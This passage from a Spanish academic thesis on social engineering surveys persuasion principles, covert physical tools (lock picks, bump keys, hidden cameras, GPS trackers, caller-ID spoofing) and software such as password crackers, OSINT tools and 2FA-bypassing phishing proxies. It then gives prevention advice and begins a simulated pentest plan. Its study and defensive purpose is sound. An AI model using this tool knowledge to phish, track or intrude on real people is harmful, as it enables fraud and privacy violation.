sentido de confianza de la victima, no requieren una comunicacion cara a cara con el atacante.

Las siguientes secciones describenlas dos categorias de ataques mencionadas anteriormente.

4.4.1.- Ataques técnicos deingenieria social

Los ataques técnicos en la Ingenieria Social se definen como ataques que se ejecutan engafiando
a las victimas sin tener que interactuar con ellas en persona. Aunque estos ataques pueden
abarcar los mismos principios psicoldgicos que se encuentranenlos ataques de ingenieria social
cara a cara, se diferencian en dos puntos principales: generalmente se ejecutan en masay se

basanen una plataforma tecnoldgica para su ejecucion.

4.4.2 .- Ataques de ingenieria social no técnicos (psicoldgicos)

Los ataques de ingenieria social no técnicos utilizan la interaccién cara a cara entre el atacante
y la victima y no dependen del uso de una plataforma tecnoldgica. La principal diferencia, desde
la perspectiva del objetivo de un atacante, es que los ataques no técnicos se ejecutan en
superficies de ataque limitadas (generalmente de una a tres victimas a la vez), mientras que los
ataques de base técnica se ejecutan en masa (por ejemplo: correos electrénicos no deseados,

ataques de phishing, etc.).

En base a los estudios de la persuasion y la influencia, del psicélogo estadounidense Robert B.
Cialdini (Grande, 2022) detectd seis principios que se muestran de forma destacada cuando los

investigadores abordan la ingenieria social desde una perspectiva psicoldgica:

1. Reciprocidad: la gente siempre siente que le debe un favor a aquellos que han hecho
algo por ellos. Sobre todo, cuando lo que se hizo es algo significativo, inesperado y
personalizado.

2. Orientacidn Social: siempre buscamos un modelo a seguir, a alguien que nos oriente o
nos diga lo que tenemos que hacer.

3. Consistencia/Compromiso: desarrollamos patrones de conducta que se convierten en
habitos y nos comprometemos con ellos como modo de vida.

4. Aceptacion: queremos “encajar” en determinado escenario y al buscar la aceptacién

nos dejamos persuadir por aquellas personas que nos gustan o admiramos.
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Autoridad:somos receptivos a las 6rdenes y peticiones de las personas que representan

autoridad jerarquica.

Tentacion: tendemos a conseguir aquello que esta limitado o prohibido para nosotros,

incluso, realizando acciones que en situaciones o escenarios cotidianos no hariamos.
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5.- Herramientas en la Ingenieria Social

El ingeniero social (Hadnagy, 2011), hace uso de diferentes herramientas para poder acceder a
la informacién de una manera mas sencilla. Obviamente el abanico con el que se puede mover
un atacante puede tener limites insospechables, dada la situacién, aunque si podemos decir que

existen una serie de herramientas imprescindibles que vamos a detallar a continuacién.

5.1.- Herramientas fisicas

En el mundo de la ingenieria social, podemos categorizar las herramientas en dos tipos, las
fisicas, y el software. Las primeras seran usadas como bien dice la palabra de forma fisica, para

ayudar ala recopilacién o extraccidn de datos, ya sea para abrir puertas, videovigilancia, etc.
Abrir cerraduras

En elmundo de la Ingenieria Social, el atacante puede disponer de diferentes herramientas para
abrir cerraduras que le permitan acceder a sitios confidenciales y sitios restringidos, como por
ejemplo ganzuas (imitan el funcionamiento de la llave que abre el sitio dénde se desea entrar),
cerraduras magnéticasy electrénicas(de usofrecuente dado suprecio y facil uso, dando cierto
nivel de seguridad, aunque tiene como punto débil el corte eléctrico), cuchillo shove (permite
abrir puertas con pestillo en el pomo), llaves bumping (disefiadas para abrir cerraduras sin la
necesidad de la llave de la cerradura), cufia para candados (pieza de metal fino que se desliza

dentro del candado y libera el mecanismo de bloqueo).
Camaras y Dispositivos de grabacion

e (Cdmaras: Las camaras pueden ser una herramienta util para los ingenieros sociales
cuando es necesario capturar informaciéon rapidamente. A menudo, es mas rapido
tomar una foto simple de la informacidn que escribirla. La capacidad de la mayoria de
las cdmaras para grabar video también es Util para este propdsito. Los elementos que
se deben buscar en una cdmara de ingenieria social son la capacidad de tomar
fotografias de una manera no obvia. Esto requiere que normalmente sean mas
pequefias y no hagan ruido cuando se tome la fotografia. Nos podemos encontrar
cdmaras deltamafiode un botdn, en unas gafas de sol, en un reloj, etc. de esta manera,
el atacante puede centrarse en una conversacion y luego capturar las imagenes que le

interesa.
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o Teléfonos moviles: Los teléfonos méviles funcionan bien para la captacion de datos,
debido ala capacidad de parecer que el teléfono se estd utilizando para enviar mensajes
de textoo alguna otra actividad inocua. Los ajustes predeterminados, como no utilizar
flash, suelen ser Gtiles.

o Dispositivos de grabacidn: Actualmente hay muchos dispositivos de grabacién en el
mercado. Las cdmarasy los dispositivos de audio pueden estar integrados en sombreros,
corbatas, botones, boligrafos, anillos, cajas, alfileres, etcétera. Las grabaciones pueden
ser de video o de audio. También existen sistemas de grabacion de audio, que pueden
capturar conversaciones mas alla de los 200 metros de distancia, con lo cual, pueden
ser unas buenas herramientas para que un atacante pueda escuchar una conversacién
confidencial, sin ser detectado.

e Webcams de videovigilancia: las webcams de videovigilancia tienen la funcion de
proteccién, de aquello que estan grabando, para evitar ataque. Pero una webcam mal
configurada puede ser un punto de partida para un atacante para extraer informacion

del sitio donde se estd grabando.
Rastreadores GPS

Durante la fase de recopilacion de datos, el poder saber todos los movimientos de la victima,
puede ayudar a poder realizar diferentes ataques tales como Pretexting o tailgating. Es una
herramienta realmente Util dado que puede generar mucha informacién clave para un posible
ataque. El saber los sitios que frecuenta la victima o las rutinas que tiene la victima, puede
ayudar en gran medida a conocer cosas de la persona que pueden ayudar a la generaciénde un
ataque. Un claro ejemplo, puede ser la de rastrear un directivo de una gran compania para
conocer sus movimientos y disponer de informacién privilegiada con el fin de obtener datos
confidenciales en un futuro. En el mercado existen granvariedad de sistemas y equipos. Uno de
los equipos mas conocidos es el SpyHawk SuperTrak. Es un dispositivo que se adhiere de forma
magnética a un vehiculo y puede almacenar grandes cantidades de datos sobre su objetivo.
Mediante un software que viene con el dispositivo recibira las capturas de geolocalizacién de
datos que se emiten pudiendo ver los sitios en los que ha estado. Esta informacién se puede

representar mediante Google Maps.
Teléfonos moviles

El ataque de ingenieria social mds comun se realiza mediante un teléfono. Llamara la empresa
e imitar a alguien que pueda extraer informacién de un usuario. Haciéndose pasar por un técnico

informatico o un compafero de trabajo podria ser suficiente. El principio basico detras de la
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suplantacién del identificador de llamadas es cambiar la informacidon que se muestra en la

pantalla de identificacidon de llamadas. Para ello podemos usar distintas herramientas que nos

ayudaran a tener éxito, como por ejemplo:

SpoofCard: Este servicio incluye caracteristicas tales como grabacion de llamadas,
llamadas directas al correo de voz, disfraz de voz y mensajes SMS. También esta
disponible para dispositivos mdviles con iOS y Android.

SpoofApp: Con esta herramienta se pueden realizar llamadas a otros contactos
facilmente de manera completamente anénima, no solamente porque ayuda a ocultar
el nimero de teléfono sino porque también se puede utilizar unsintetizador de voz para
cambiar la forma en que escuchanlas victimas.

Asterisk: Es una aplicacién para controlar y gestionar comunicaciones de cualquier tipo,
ya sean analdgicas, digitales o VolP mediante todos los protocolos VolP que
implementa, se puede decir que es una herramienta que simula una PBX. Mediante ésta,
un atacante puede usarla de manera fraudulenta usando técnicas de phishing simulando

centros de llamadas automaticos.

5.2.- Herramientas Software

La recopilacion de informacién es uno de los aspectos mas importantes de la ingenieria social.

Para hacer un trabajo eficaz, un buen ingeniero social combinara herramientas tecnolégicas con

herramientas fisicas. En esta secciéon, hablaremos sobre esas aplicaciones que ayudaran a

conseguir mas y mejores datos sobre las victimas. Agruparemos el software dependiendo la

funcién que desarrolle:

Programas para descifrar contraseias

Eluso de software especifico para descifrar contrasefias sera util para el ingeniero social, extraer

informacién confidencial, donde tendrd una proteccion en forma de contrasefia. Enel mercado

existen multiples aplicaciones, nosotros nombraremos algunas de ellas.

John the Ripper: es una herramienta de recuperacion y auditoria de seguridad de
contraseiias de cddigo abierto.

Ophcrack: Ophcrack es una herramienta para crackear las contrasenas de Windows
basada en las tablas Rainbow.

Aircrack NG: es una suite de software de seguridad inaldambrica.
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Software pararecopilacidon deinformacién

e Maltego: Es una aplicacion de inteligenciay analisis forense de cédigo abierto. Algunos
consideran a Maltego como una herramienta de inteligencia de cédigo abierto (OSINT).
Ofrece una interfaz para minar y recopilar informacién en un formato facil de entender.
Junto con sus bibliotecas de gréficos, Maltego permite identificar relaciones clave entre
informacion e identificar relaciones previamente desconocidas entre ellas. Maltego esta
desarrollado por Patervay es utilizado por profesionales de seguridad e investigadores
forenses para recopilar y analizar inteligencia de cédigo abierto.

o Shodan:Se puede decir que Google es el motor de bisqueda para el publico en general,
en cambio Shodan es el motor de busqueda para los piratas informaticos. En lugar de
presentar el resultado como otros motores de busqueda, mostrara los resultados que
tengan mas sentido para un profesional de la seguridad. Shodan proporciona mucha
informacion sobre los activos que se han conectado a la red. Estos activos pueden variar
desde ordenadores, portatiles, camaras web, sefiales de traficoy varios dispositivos IOT.
Esto puede ayudar a los analistas de seguridad a identificar y detectar varias
vulnerabilidades, configuraciones predeterminadas o contrasefias, puertos disponibles,
pancartas y servicios, etc. también puede ayudar a un pirata informatico que desea
disponer de dicha informacién.

e GoogleDorks: También conocido como Google Dorking, es una técnica de “hacking” que
utiliza la bdsqueda avanzada de Google para encontrar agujeros de seguridad en la
configuracion y el cddigo de un sitio web. Se puede utilizar algunas de estas técnicas
para filtrar la informacién y obtener mejores resultados de busqueda, pero, en este
caso, se centra enla informacién normalmente noaccesible, comomostrar las imagenes
de las cdmaras de seguridad o ciertos documentos sensibles.

e Harvester: Excelente herramienta para obtener informacion relacionada con el correo
electronico y el dominio. Este estd incluido en Kali y puede ser muy util para obtener
informacién.

o Metagoofil: Es una herramienta de linea de comandos que se utiliza para recopilar
metadatos de documentos publicos. La herramienta viene incluida en Kali Linux y tiene
muchas caracteristicas como por ejemplo, el tipo de documento en el destino, descarga
local, extraccion de metadatos e informes de resultados.

e Recon-ng: es unagranherramienta para la recopilacion de informacién de destino. Esta

incluida en el repositorio de Kali. El poder de esta herramienta radica en el enfoque
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modular y en que la informacién es recopilada en una base de datos, dandole un gran
potencial.

Tineye: es un buscador de imagenes a partir de una imagen. Tineye utiliza redes
neuronales, aprendizaje automatico y reconocimiento de patrones para obtener los
resultados. Utiliza la coincidencia de imagenes, la identificacién de marcas de agua, la
coincidencia de firmas y varios otros parametros para hacer coincidir laimagenen lugar
de la coincidencia de palabras clave. Sirve para detectar perfiles alrededor de la red.
FOCA: es una herramienta gratuita de pentesting para los sistemas operativos de
Windows, utilizada principalmente en la busqueda de informaciéon contenida en
metadatos de ficheros y de esta forma obtener datos relevantes asociados a una
organizacién o pagina web.

SpySE: Un motor de busqueda para pentesters. Busca a partir de dominios, Ip,
certificados, tecnologias, etc. en pocos segundos devuelve informaciéon muy detallada
sobre el objetivo: Subdominios, certificados, tecnologias, CVEs, etc... Ademas, dispone
de una opcidén de busqueda avanzada por si se quiere afinar nuestra la busqueda. Una
herramienta con un amplio abanico de posibilidades y con un tiempo de respuesta muy
rapido.

Creepy: Se trata de una herramienta de geolocalizacidn. Recopila informacion
relacionada con posibles ubicaciones a través de diferentes redes sociales. Permite la
extraccion de informacion de cuentas como Twitter, Flicklr, Facebook, etc.
Posteriormente representa esta informacién en un mapa y es posible exportarla a
formatos CSV o KML para su posterior utilizacion.

Spiderfoot: es una herramienta de reconocimiento que consulta automaticamente mas
de 100 fuentes de datos publicas y asi poder recopilar dominios, nombres, correos,
direcciones, ... Especificando un objetivo el programa proporcionara toda la informacion
interesante, entre la que se puede encontrar leaks o datos de interés para continuar con
lainvestigacién. Estd muy automatizada y permite recopilar facilmente gran cantidad de

informacion.

Software pararealizar ataques de Phishing

Social-Engineer Toolkit: El Social-Engineer Toolkit (SET) esta disefiado especificamente
para realizar ataques avanzados contra el ser humano. SET fue disefiado para ser
lanzado con el lanzamiento de https://www.social-engineer.orgy rapidamente se ha
convertido en una herramienta estandar en un arsenal de probadores de penetracion.

SET fue escrito por David Kennedy y con mucha ayuda de la comunidad ha ido
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incorporando ataques disponiendo de un conjunto de herramientas de explotacién. Los
ataques integrados en el kit de herramientas estan disefiados para ser ataques dirigidos
y enfocados contra una persona u organizacion utilizada durante una prueba de
penetracion.

King Phisher: Es una de las herramientas de generacion de campafias de phishing de
cédigo abierto mas conocidas. King Phisher esta escrito en Python y es una herramienta
que se utiliza para simular ataques de phishing en el mundo real y para evaluar y
promover la conciencia de la ciberseguridady el phishing de una organizacién.
Gophish: Es un simulador de phishing de cédigo abierto escrito en GO, que ayuda a las
organizaciones a evaluar la susceptibilidad a los ataques de phishing al simplificar el
proceso de creacion, lanzamientoy revision de los resultados de una campaifia. Gophish
ayuda en la creacidn de plantillas de correo electrdnico, paginas de destinoy listas de
destinatarios, y ayuda al envio de perfiles. Permite lanzar campafas y generar y ver
informes sobre aperturas de correo electrdnico, clics en enlaces, credenciales enviadas
y mas.

Evilginx2: Es una herramienta donde en escenarios de phishing, serviria plantillas
clonadas a las paginas deinicio de sesion de redes sociales, pero con una particularidad,
se conecta a sitios web que estan protegidos con 2FA, convirtiéndose en un proxy web
entre el sitioweb phishing y el navegador e interceptando cada paquete, modificindolo
y luego enviandolo alsitio web real.

Modlishka: Es un proxy inverso que se interpone entre la victima y el sitio web que
desea acceder. Se conecta al servidor del “atacante” y el servidor realiza solicitudes al
sitioweb real, sirviendo al usuario contenido legitimo, perola herramienta registra todo
el trafico, contrasefias introducidas y los tokens 2FA.

Phishing Frenzy: Es un Framework de phishing de Ruby on Rails de cédigo abierto
disefiado para ayudar a los probadores de penetracién y a los profesionales de la
seguridada creary administrar campanas de phishing por correo electrdnico.
WifiPhisher: Una herramienta de phishing que tiene la capacidad de asociarse conuna
red WiFi cercana y obtener una posicion de intermediario. Puede hacer esto de
diferentes maneras: mediante la creacién de una red inaldmbrica falsa para imitar una
legitima o mediante transmision de SSID que parecen familiares para los usuarios.
Blackeye: Es un script bash que ofrece 32 plantillas para elegir y permite seleccionar el
sitioweb de redes sociales que se desea emular. Los sitios webincluidos en las plantillas

son Facebook, Twitter, Google, PayPal, Github, Gitlab y Adobe, entre otros. Una vez
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elijada una plantilla, BlackEye creard un sitio web de phishing que se puede conectar al
dispositivo del objetivo, para recopilar credenciales y redirigirlas al sitio web legitimo.

HiddenEye: Es una herramienta todo en uno que presenta una funcionalidad
interesante como keylogger yrastreo de ubicacién. También ofrece una serie de ataques
diferentes, como phishing, recopilacion de informacion, ingenieria social y otros. Es
compatible con las principales redes sociales y sitios web comerciales como Google,
Facebook, Twitter, Instagramy LinkedIn, y se pueden utilizar como vectores de ataque.
Dispone de varias opciones de tunelizacion disponibles para lanzar campafas de

phishing.
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6.- Prevencion sobrela ingenieria social

Anteriormente hemos hablado sobre la ingenieria social, y podemos ver que ésta, abarca un
sinfin de métodos y técnicas que la hacen muy complicada de controlar. Pero la pregunta del
millén es, ¢ podemos prevenirla? ¢ podemos mitigarla? La respuesta es que no existe un método
infalible, no hay una técnica que te asegure que no puedas sufrir un ataque de ingenieria social.
Cualquier persona, es susceptible de caer en un ataque de ingenieria social, desde la persona
mas cualificada a la persona con menos conocimientos. El abanico de objetivos puede ser toda

la poblacion en general.

Por suertey afortunadamente, la mayoria de estos ataques se realizan de una manera masiva e
impersonal, es por ello por lo que es de gran ayuda disponer de los medios y conocimientos para

contrarrestarlos oal menos tener capacidad de reaccion.

Podemos considerar el estado de alerta como el primer gran mecanismo que disponemos para
luchar contra laingenieria social. Se debe estar en estado de alerta cuando alguien te solicita un
tipo de informacion, o alguien te ofrece algo de manera gratuita. Se debe desconfiar siempre,
ahora bien, en general, la gente ya no es tan confiada como antes y la ingenuidad que antes
teniamos bien es cierto que se ha convertido en desconfianza. Es por ello por lo que actualmente
y de cara al futuro, los ataques de ingenieria social se estan convirtiendo en ataques mas
sofisticados, y es aqui donde se debe disponer de ciertas nociones o conocimientos que nos
pueden ayudar a prevenir dichos ataques y minimizar el éxito de estos. También existen
diferentes sistemas informdticos, que pueden ayudar en pequeiia o gran medida a mitigar parte
de estos ataques. A continuacién, vamos a detallar unas cuantas técnicas de prevencion

(Kaspersky, 2021), tantoa nivel de usuario, como a nivel de empresa.

6.1.- Consejos basicos

Consejos basicos a nivel personal que pueden ayudar a contrarrestar unataque (INCIBE, 2021):

o No abrir correos de usuarios desconocidos o que no hayas solicitado, dado que no
solamente puede ser un correo con informacién falsa, sino que puede contener archivos
maliciosos adjuntos o enlaces que no son lo que parece ser. Se debe revisar los enlaces

contenidos en el correo antes de clicar sobre ellos.
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No dar ningun dato personal, bancario, etc. por teléfono, se debe desconfiar sia través
de una llamada alguien dice ser el técnico/trabajador de un servicio y bajo cualquier
excusa solicita que se realice alguna accidn como descargar una aplicacién determinada,
confirmar datos de tarjetas, realizar algin pago, etc. No se debe atender a las peticiones
y se debe confirmar con terceras fuentes de confianza que realmente es quien dice ser.
No contestar en ningln caso a los mensajes sospechosos, dado que siempre se debe
pecar de precavido y desconfiar de mensajes que no parecen seguros, de esta manera
se evitard un posible ataque.

Tener precaucion al seguir enlaces en correos electronicos, SMS, mensajes de WhatsApp
o redes sociales, aunque sean de contactos conocidos, bajo ninglin concepto, ya que
pueden llevarnos a enlaces fraudulentos o contactar con un nimero de teléfono de
tarificacién especial, por ejemplo.

Tener precaucidn al descargar ficheros adjuntos de correos, de SMS, mensajes de
WhatsApp o de redes sociales, aunque sean de contactos conocidos. Dado que
actualmente circula por la red una gran cantidad de malware enmascarado como
diferentes tipos de ficheros, que aunque hayan podido ser enviados por personas
conocidas, estas desconozcan que tipo de fichero son realmente. La desconfianza
deberia ser el primer pasoantes de descargar cualquier fichero.

Tener siempre actualizado el sistema operativo y el antivirus. En el caso del antivirus
comprobar que estd activo. Es un mecanismo, el disponer de la ultima versién, que
puede ayudar a combatir con las Ultimas técnicas fraudulentas que hayan podido surgir,
y tener un escudo ante posibles nuevas amenazas.

Verificar la seguridad de las paginas web donde introducimos datos personales. Deben
utilizar certificado de seguridad y utilizar el protocolo HTTPS. Es la garantia de calidad
gue el sitio ofrece un servicio seguroy validado por una entidad competente para su
funcién.

Verificar la seguridad de las redes wifi plblicas a las que nos conectamos. En caso de
dudas, no compartir informacién confidencial ni introducir credenciales de usuario o
contrasefas que puedan ser robados. En caso de uso, utilizar una conexiéon VPN para
conectar desde estas redes yacceder siemprey exclusivamente a paginas HTTPS.
Escribirlas URL manualmente, en vez de usar los enlaces de los mensajes sospechosos,
dado que la gran mayoria de veces, los enlaces maliciosos contenidos dentro de correos
electroénicos, el atacante suele enmascararlos de tal manera que no se intuya que pueda

llegar a ser malicioso, mediante cddigo HTML o mediante acortador de enlaces. En este
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sentido, es mejor contrastar la informacién primero y acceder a las paginas oficiales

tecleando la URL en el navegador.

6.2.- Dispositivos de proteccion de red

La mayoria, si no todos los métodos tradicionales de defensa de redes y equipos en seguridad
de la informacidn, incluidos los firewalls, las soluciones antivirus y los sistemas de deteccién/
prevencion de intrusiones (IDS / IPS), generalmente consideran la ingenieria social fuera de su
alcance. Por lo tanto, no intentanabordar el "factor humano" en la ecuacién de seguridad, sino

gue se centran Unicamente en las amenazas técnicas.

Si bien estos métodos tienen muy poco impacto positivo en la prevencién de ataques de
ingenieria social, pueden ser Utiles para frustrar una mayor escalada por medios técnicos. En la
practica, dicho mecanismo de defensa es de poca eficacia, ya que cualquier atacante

competente se aseguraria de que el antivirus no detecte la puerta trasera que intenta utilizar.

6.3.- Seguridad en el correo electrénico

Como ya se ha comentado anteriormente, el phishing por correo electrénico es el vector de
ataque mas comun para los ataques de ingenieria social. Dado que los correos electrénicos de
phishing son casi exclusivamente falsificaciones, las soluciones que proporcionan autenticacién
de correoelectrénico son eficaces para prevenir el phishing. Podemos decir que estas soluciones
solo son efectivas contra los ataques de phishing por correo electrénico y no abordan otro tipo
de ataques de la ingenieria social. Podemos enumerar tres tipos de soluciones que proporcionan

autentificacién de comunicacién por correo:

e OpenPGP: Es un protocolo de cifrado que se utiliza para encriptar mensajes, archivos y
para demostrar la autenticidad del remitente mediante una firma digital. Se realiza
mediante una clave privada y otra publica, la cual es compartida con terceros y puede
servisible para todos.

e Protocolo S/MIME: Es una tecnologia que permite cifrar correos electrénicos. S/MIME
esta basadoen la criptografia asimétricay la finalidad es proteger correos electrénicos
frente a accesos no deseados. También permite firmar digitalmente correos

electrénicos para autenticarse como el remitente legitimo de los mensajes, lo cual la
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convierte en una eficaz arma contra los numerosos ataques de phishing que se producen
cadadia en Internet.

e SPF/DKIM/DMARC: Los protocolos de autenticacion SPF, DKIM y DMARC pueden ayudar
a evitar que se manden correos suplantando la identidad del emisor. También sirven
para dar mas seguridad a los servidores de destino de los correos y asievitar, dentrode

lo posible, que sean marcados como SPAM.

6.4.- Educacioén y concienciacion en las empresas

Una tactica defensiva cominmente sugerida contra los ataques de ingenieria social es garantizar
gue todos los empleados reciban formacion (obligatoria) para reconocer y lidiar contra los

ataques de ingenieria social.

Ademas, se debe prestar especial atencion a las redes sociales, ya que su uso es
extremadamente frecuente y normalizado. Sin embargo, los usuarios a menudo no se dan
cuenta de la cantidad de datos que han compartido publicamente. Dado que estos datos
probablemente los identifiguen como empleados de la organizacién, indirectamente aumentan
su propio riesgo de convertirse en victimas de un ataque de ingenieria social. Un consejo
interesante es sugerir a los empleados que no indiquen su lugar de trabajoen las redes sociales,

para gue no seanun objetivo como tal.

Es importante tener en cuenta que los empleados en diferentes puestos de trabajo deben recibir
una version diferente en cuanto a formacién. De hecho, los ejecutivos son probablemente el
grupo de mayor prioridad en la organizacién para un ingeniero social, por lo tanto, deben ser
mucho mas conscientes de los desafios que pueden enfrentary las consecuencias de un ataque

de ingenieria social exitoso para la empresa.

6.5.- Simulaciones de phishing

Actualmente, un planteamiento muy popular para mitigar la amenaza del phishing es utilizar
una “simulacidn de phishing”. El método se puede describir de manera concisa como realizar un
ataque de phishing hacia un grupo especifico en un entorno controlado e informar a los

participantes, en funcién del desempefio personal.
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La metodologia varia entre proveedores, pero a menudo incluye proporcionar una formacién
bésica inicial sobre el tema y la mayoria de los proveedores recomiendan esfuerzos continuos

en esta direccion, en particular, repetir las simulaciones de phishing de forma periddica.

6.7.- Implementar politicas de seguridad

A nivel de empresa una de las medidas disuasorias para mejorar la seguridad de la organizacion
es implementar una politica de seguridad sdlida para el personal. De esta manera se pueden

minimizar los ataques de la ingenieria social. Algunas de estas politicas pueden ser:

e |mplementaruna politica de “Least Privilege” y garantizar que los usuarios comprendan
el razonamiento detrds de ella y que también esté disefiada para protegerlos.
Garantizando permisos a un usuario mas alla del alcance de los derechos necesarios de
una accion puede permitir que ese usuario obtenga o cambie informacién de forma no
deseada.

e |mplementar el uso de “scripts” para cada flujo de trabajo cuando los empleados se
comunican por teléfono / correo electronico.

e Tenerun punto de contacto bien establecidoy una ruta de escalada para informar sobre
sospechas de intentos de ataques de ingenieria social. Estoayudara a los empleados a
ser proactivos en la defensa de la organizacion de ataques, sise combina con la cultura
de empresay formacion.

e |Implementar la autenticacién de dos factores siempre que sea posible. Esto tiene la
ventaja obvia de prevenir dafios directos por el robo de contrasefias de los empleados.

e Implementar una clasificacién de informacién, en particular, tener especialmente
cuidado con informacién sensible como tal y asegurarse de que los procedimientos de
uso de informacién sensible dispongan de mayores controles de seguridad.

e Crearuna culturaorganizacional de concienciacion general de la ingenieria social. Como
ejemplo, explicar por qué el tailgating/piggybacking es un problema y comunicar
claramente que es responsabilidad propia de cada empleado prevenir tales incidentes

puede ayudar enormemente.
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6.8.- Auditorias y pruebas de penetracion

Otro mecanismo de defensa es la realizacion periddica de auditorias externas y pruebas de
penetracion. Dicha verificacion y validacion de los controles de seguridadin situ es casisiempre
un punto a favor con respectoa la seguridad de la informacidn general de la organizacion. Por
supuesto, cualquier prueba de penetracion respetable y las auditorias de seguridad mas
completas incluyen la prueba de vectores de ataque de ingenieria social. Los resultados de estas
pruebas y auditorias podrian beneficiar enormemente a la organizacioén al proporcionar una
descripcion general de los problemas actuales, lo que a su vez podria permitir a la gerencia
implementar un plan de mejora vy, al final, lograr un nivel aceptable de seguridad. Debemos
sefalar que debe existir una periodicidad en este tipo de pruebas, siendo un proceso regular
que proporcione retroalimentacion en intervalos establecidos, ya que, como cualquier otro

proceso, la seguridadtiende a erosionar cuando no se controla.

6.9.- Soluciones Anti-Phishing

Ademas de todos los demdas métodos discutidos anteriormente, existen varias tecnologias

relativamente nuevas que intentan detectarintentos de phishing y advertir al usuariode ello:

e Carnegie Mellon Anti-phishing and Network Analysis Tool (CANTINA), es un método para
la deteccion de paginas fraudulentas mediante técnicas de Machine Learning.

e CodeShield utiliza una lista blanca de aplicaciones personalizada (PAW) para bloquear
automaticamente cualquier intento de sitio web de phishing en virtud de que no esté
en la lista blanca.

e Google’s Password Alert es una extensién del navegador que secentraen la alertay la
mitigacién. Es una herramienta que lucha en contra del phishing, realiza un seguimiento
de donde se ingresa la contrasefia de la cuenta de Google y avisa cuando esta, no se
ingresa en el dominio correctode accounts.google.com.

e AuntieTuna es un complemento para navegadores Chrome y Mozilla que utiliza la
personalizacién junto con algoritmos de deteccidn para decidir siuna pagina web es un

intento de phishing o no.
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7.- Prueba Pentesting en empresa enfocada a servicios

Como se ha comentado en el primer apartado, en la seccién de planificacién y presupuesto se
va ha realizar un supuesto de la parte practica del trabajo que consiste en una prueba pentesting

sobre una empresa enfocada a servicios.

El objetivo es la de auditar la empresa llamada FictCorp que después de una temporada
formando a sus empleados, desea ver si puede obtener buenos resultados de este tipo de
acciones y ver o comprobar, en una simulacién controlada, que puede llegar a estar preparada
ante posibles ataques de Ingenieria Social. En caso negativo, deberd considerar que acciones
debe realizar para mejorar la situaciony no llegar al punto de poder comprometer ala empresa

por un posible ataque.

La Direccion General tiene especial interés en este tipo de auditoria, dado que tiene
preocupacioén de cara que la seguridad de la empresa pueda llegara comprometer laimagende
la empresay acometer grandes pérdidas econdmicas. Es por ello por lo que se han contratado
los servicios para poder realizar pruebas que verifiquen la robustez de la empresa en cuanto a

su seguridad.

Se ha optado por contratar una empresa con una gran dilatada experiencia dentro del sectory
esta ha aceptado el reto que le propone el cliente, para realizar dichas pruebas y ver como de

preparada esta la empresa.

El proyecto se ha acotadoa una franja de tiempo acorde a la disponibilidad de laempresa, ysera
durante 5 meses desde su inicio hasta el final. En este tiempo, la empresa debe entregar un
dosier con unas conclusiones que deba satisfacer a Direccién General, asi como un informe de

posibles mejoras que puedan aplicarse para estar en continua mejora en cuanto a suseguridad.

Para realizar el proyecto se han definido una serie de fases que deben aplicarse para llegar al

objetivo final. Estas fases sonlas siguientes:

1. Planificacion y reconocimiento: En esta primera etapa se determina el alcance y los
objetivos de la prueba, los sistemas que se atacardany los métodos de prueba que se
utilizaran. También se obtendra toda la informacién posible, como los nombres del
dominio y de red, el software, correos electrénicos, etc., para comprender mejor cémo
funciona la empresay sus potenciales debilidades. Como fuentes usaremos los datos

gue nos aporte la empresa FictCorp y también realizaremos recoleccién de datos por

69



nuestra parte mediante herramientas propias, OSINT. Adem3s, en esta fase se ha de
obtener del cliente un escrito en el que se autorice este test de penetracion y limite
nuestra responsabilidad en caso de que surjan problemas.

Anilisis de vulnerabilidades: El segundo paso es entender como respondera el sistema
al que se estd intentando penetrar. Se define el dmbitoy el alcance del test de intrusién
y se consulta con el cliente la profundidad de las pruebas que se van a realizary la
permisividad de los ataques. En nuestro caso, por parte de la empresa FictCorp, el
alcance exige que no tenga dafios en cuanto a pérdidas y que los sistemas permanezcan
operativos, sin que haya corte en la produccion de la empresa y no se vea afectado el
negocio. En cuantoa vulnerabilidades en laingenieria social, se ha acordado atacar a los
empleados directamente mediante herramientas de phishing, al sistema WIFI de la
empresa, y recabar informacién de la empresa en la red publica, para ver que tipo de
informacidn confidencial puede ser explotada por ingenieros sociales.

Clasificacion de amenazas: Una vez obtenida toda la informacidn, se elabora una
representacién estructurada de toda la informacién que afecta a la empresa. Esta fase
permite tomar decisiones sobre los riesgos y producir un modelo de amenazas tipicoo
una lista priorizada de mejoras de seguridad informatica.

Explotacién: Si la intrusion se ha llevado con éxito, en esta fase se recopilard la
informacidn. La finalidad es demostrar al cliente que si un ingeniero social atacara el
sistema podria acceder a él y robar informacion confidencial.

Elaboraciéon de informes y conclusiones: Al finalizar todas las etapas mencionadas
previamente, es el momento de documentar todo lo realizado en un informe que
especifique el proceso realizado en el test de intrusidon, como herramientas utilizadas,
técnicas utilizadas y vulnerabilidades descubiertas. En el siguiente apartado se ha
generado el informe ddénde se detallan todos los procesos realizados, asi como las

posibles mejoras en un apartadode conclusiones.
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7.1.- Informe técnico

Esta seccidn es elinforme técnico que se entregara a la empresa FictCorp como parte del trabajo
realizado. En este supuesto, se hablard de diferentes herramientas utilizadas y se afiadird
informacién técnica para ver como se han realizado las diferentes pruebas. Al final del
documento detallaremos tipos de vulnerabilidades detectadas asi como mejoras que pueden

elevar el nivel de seguridad de la empresa FictCorp.

Encada subapartado podremos ver como se realizan ataques y como podemos, detectar, mitigar
y prevenir estos posibles ataques. Hay que comentar que se analizard desde la vertiente del
atacante, para dar a entender y concienciar a la empresa de las medidas, sobre todo preventivas,
gue debe tener en cuenta en el momento que se presenta un ataque de este tipo. Como se ha
comentado anteriormente las pruebas que se han realizado han sido para atacar a los

empleados, de recoleccion de informacién y atacar al sistema Wifi que dispone la empresa.

7.1.1.- SET - Social-Engineering Toolkit

La primera herramienta que se ha valorado ha sido la ya comentada, en la parte tedrica, la
herramienta llamada SET (Social-Engineering Toolkit) (TrustedSec, 2022). SET es un framework
de cédigo abierto para realizar pentesting de sistemas y redes, enfocado especificamente en
ataques de ingenieria social para conseguir su objetivo. SET tiene una serie de herramientas para
realizar ataques personalizados que nos permitirdn realizar un ataque de manera rapida y
efectiva. Esta herramienta ha sido desarrollada por la firma de seguridad TrustedSec y esta
disponible de manera libre para todo el mundo. Creemos que es una buena prueba dada las
opciones que ofrece el programa para cometer ataques. Probaremos diferentes ataques, para
ver su efectividad, y valoraremos, como victimas, que debemos hacer para no caeren la trampa

del atacante.

Cabe decir que este tipo de herramienta estd enfocada enla fase de explotacion, dentrodel ciclo

de vida de un ataque.

Para poder realizar las pruebas de una manera segura, hemos descargado una distribucién Kali
Linux (Altube, 2021), yla hemos hecho correr bajo una maquina virtualizada VMWare. Podemos
ver que en la distribucién Kali, ya viene preinstalado el programa, en la seccidn de ingenieria
